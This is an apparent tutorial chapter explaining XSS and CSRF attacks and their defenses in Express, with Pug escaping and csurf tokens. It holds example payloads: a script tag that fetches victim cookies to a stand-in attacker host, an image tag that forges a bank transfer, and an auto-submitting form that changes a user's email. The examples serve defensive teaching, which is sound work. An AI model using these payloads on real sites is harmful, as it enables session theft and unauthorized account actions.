Cross-site Attacks

The web is an open and powerful platform. It lets us build applications that run on any device, in any browser, with nothing more than a URL. But this openness comes with risks. A user’s browser doesn’t just render webpages—it actively executes them. Every script, every event handler, every dynamic interaction a developer writes becomes executable code inside a stranger’s computer. That’s a lot of trust.

Cross-site attacks abuse this trust. They trick the browser into running code or sending requests that the user didn’t intend. Two of the most dangerous and widely exploited forms of these attacks are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Let’s explore how these attacks work, why they’re dangerous, and how developers can build defenses against them.

Cross-Site Scripting (XSS): When the Browser Becomes an Accomplice

At its core, XSS is an injection attack—but instead of injecting malicious code into a database (like SQL injection), the attacker injects malicious JavaScript into a web page that’s served to users. When that page is loaded in the browser, the malicious script runs with the same permissions as the legitimate site.

That means:

  • It can access cookies and session data.
  • It can modify the contents of the page.
  • It can send data to an attacker-controlled server.
  • It can impersonate the user or log keystrokes.

Imagine a page on a social media site that displays user comments without properly escaping them. A well-meaning comment might look like:

<p>Great post!</p>

But a malicious comment might be:

<script>fetch('https://evil.site?cookie=' + document.cookie)</script>

If the site simply echoes back the comment without sanitization, then that script will be injected directly into the page. When another user visits the page, their browser sees a valid <script> tag and executes the attack.

Why It’s So Dangerous

What makes XSS particularly dangerous is that it hijacks the trust between the user and the site. The browser assumes that all code running on https://example.com is safe. But now the attacker’s code is also running in that context. To the browser, there’s no difference.

The user might not even notice anything happened. XSS can be silent and stealthy, silently harvesting information or creating fake interfaces to steal passwords or credentials.

Variants of XSS

There are three major types of XSS, categorized by how and when the malicious code is injected:

  • Stored XSS (Persistent): The malicious script is permanently stored on the server (in a database, for instance), and included in responses to other users.
  • Reflected XSS (Non-persistent): The script is included in a request (like a URL parameter) and echoed immediately by the server.
  • DOM-based XSS: The vulnerability arises in the browser itself when JavaScript on the page dynamically injects data into the DOM in unsafe ways.

Defense Through Encoding and Sanitization

The best defense against XSS is to treat all user input as untrusted. This means:

  • Escaping output: When injecting user data into HTML, use proper escaping so it’s rendered as text, not interpreted as HTML or script.
  • Sanitizing input: Strip or reject inputs that contain dangerous content, especially in areas where rich text is allowed.
  • Avoiding inline JavaScript: Inline event handlers and scripts are harder to secure than external files.
  • Using frameworks and templating: Most templating langauges used to generate HTML will escape content. Pug does this by default, making it very difficult to inadvertently render javascript on a page. Modern front-end frameworks like Vue, React, and Angular also escape data automatically when rendering templates, dramatically reducing the risk of XSS.

We’ll return to this in the next section on Content Security Policy (CSP), which provides a powerful browser-based defense against XSS. But first, let’s examine another major threat: Cross-Site Request Forgery.

Cross-Site Request Forgery (CSRF): When the Browser Betrays You

XSS attacks aim to run malicious code in your site. CSRF attacks, on the other hand, don’t need to inject code at all. Instead, they rely on the fact that the browser automatically includes credentials (like cookies) when making requests to a site.

A CSRF attack tricks a logged-in user’s browser into sending an unwanted request to a trusted site where they are authenticated. If the site doesn’t verify that the request was intentional, it may execute the attacker’s instructions—thinking it’s just another request from the logged-in user.

Let’s look at how this works.

How CSRF Works

Imagine a user is logged into their online banking site at https://bank.com. Their session is maintained via a cookie called auth_token. Now suppose the user visits a malicious website, https://evil.com, in another tab.

That site contains the following HTML:

<img src="https://bank.com/transfer?amount=1000&to=attacker" />

What happens when the browser loads this page?

  • The browser sees an <img> tag pointing to bank.com.
  • It makes a GET request to https://bank.com/transfer?...—including all cookies associated with bank.com, including the auth_token.

If bank.com doesn’t check whether the request came from its own site (as opposed to a third-party site), it might process the transfer request as if the user had intentionally submitted it.

That’s a CSRF attack. The user didn’t click “Submit” on a form. They didn’t authorize the transfer. But it still happened—because the browser helpfully attached the user’s session credentials.

CSRF Isn’t Limited to Images

While images can be used for GET requests, attackers can also exploit form submissions, fetch requests, and other browser features to trigger POST or PUT requests with sensitive data.

For instance, this hidden form might auto-submit as soon as the page loads:

<form action="https://bank.com/update-email" method="POST">
  <input type="hidden" name="email" value="attacker@example.com" />
  <input type="submit" />
</form>

<script>
  document.forms[0].submit();
</script>

If the banking site accepts the form without additional verification, the user’s email address could be silently changed.

The Key Insight: The Browser Is Too Helpful

The browser is designed to help users stay logged in. This is generally a good thing. But it means that any site can cause the browser to make authenticated requests to other sites, as long as the credentials are stored in cookies.

The attacker doesn’t need to see the response. They just need to know that the request will go through.

How to Defend Against CSRF

The most effective defense against CSRF is to require a token that only your site can generate and include.

When a user loads a form, your site generates a random CSRF token, stores it in a secure cookie or session, and includes it in the form as a hidden input. When the form is submitted, the server checks that the submitted token matches the one it expects.

Since the attacker’s page can’t read or generate this token (thanks to the same-origin policy), they can’t submit a valid request.

Other defenses include:

  • Checking the Origin or Referer header: These headers indicate where the request came from. While not foolproof (they can be stripped), they can offer some protection.
  • Using SameSite cookies: Setting the SameSite attribute on cookies prevents them from being sent with cross-site requests.
  • Avoiding state-changing operations via GET: GET requests should be safe and idempotent. Use POST or PUT for anything that modifies state.

Implementing XSS and CSRF Defenses in Express

Let’s bring these ideas into the real world with a simple Express example.

Preventing XSS in Express

To avoid XSS in server-rendered templates, always escape user input. If you’re using a templating engine like Pug, Handlebars, or EJS, they usually escape by default. But be careful when using != (unescaped output) or inserting raw HTML.

Here’s a safe way to render a comment:

res.render('comments', { comment: userComment });

And in Pug:

p= comment

This escapes dangerous characters like <, >, and " so the browser interprets them as text—not HTML.

Avoid:

p!= comment

Unless you’ve sanitized the input yourself.

Protecting Against CSRF in Express

To protect your Express app from CSRF, use the csurf middleware:

npm install csurf

Then in your app:

const express = require('express');
const cookieParser = require('cookie-parser');
const csurf = require('csurf');

const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

// Use csurf with cookie-based tokens
app.use(csurf({ cookie: true }));

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/submit', (req, res) => {
  // If the CSRF token is missing or invalid, this will throw
  res.send('Form submitted successfully');
});

In your form template:

<form method="POST" action="/submit">
  <input type="hidden" name="_csrf" value="{{csrfToken}}" />
  <!-- other inputs -->
  <button type="submit">Submit</button>
</form>

This token is tied to the user’s session or cookie. If a malicious site tries to submit the form without it—or with an incorrect token—the request is rejected.

Summary

Cross-site scripting (XSS) and cross-site request forgery (CSRF) are two of the most dangerous and prevalent threats in web application security. XSS exploits the browser’s willingness to execute scripts, while CSRF exploits the browser’s tendency to attach credentials automatically.

What they have in common is that they hijack user trust. In one case, the attacker runs code as the user. In the other, they make requests as the user. Both can be devastating, and both require careful and deliberate defenses.

Understanding these attacks—and designing systems to resist them—is a critical step in building secure web applications. In the next section, we’ll examine Content Security Policy (CSP) and Cross-Origin Resource Sharing (CORS), two browser-enforced mechanisms that extend our defenses and help close the door on these attacks for good.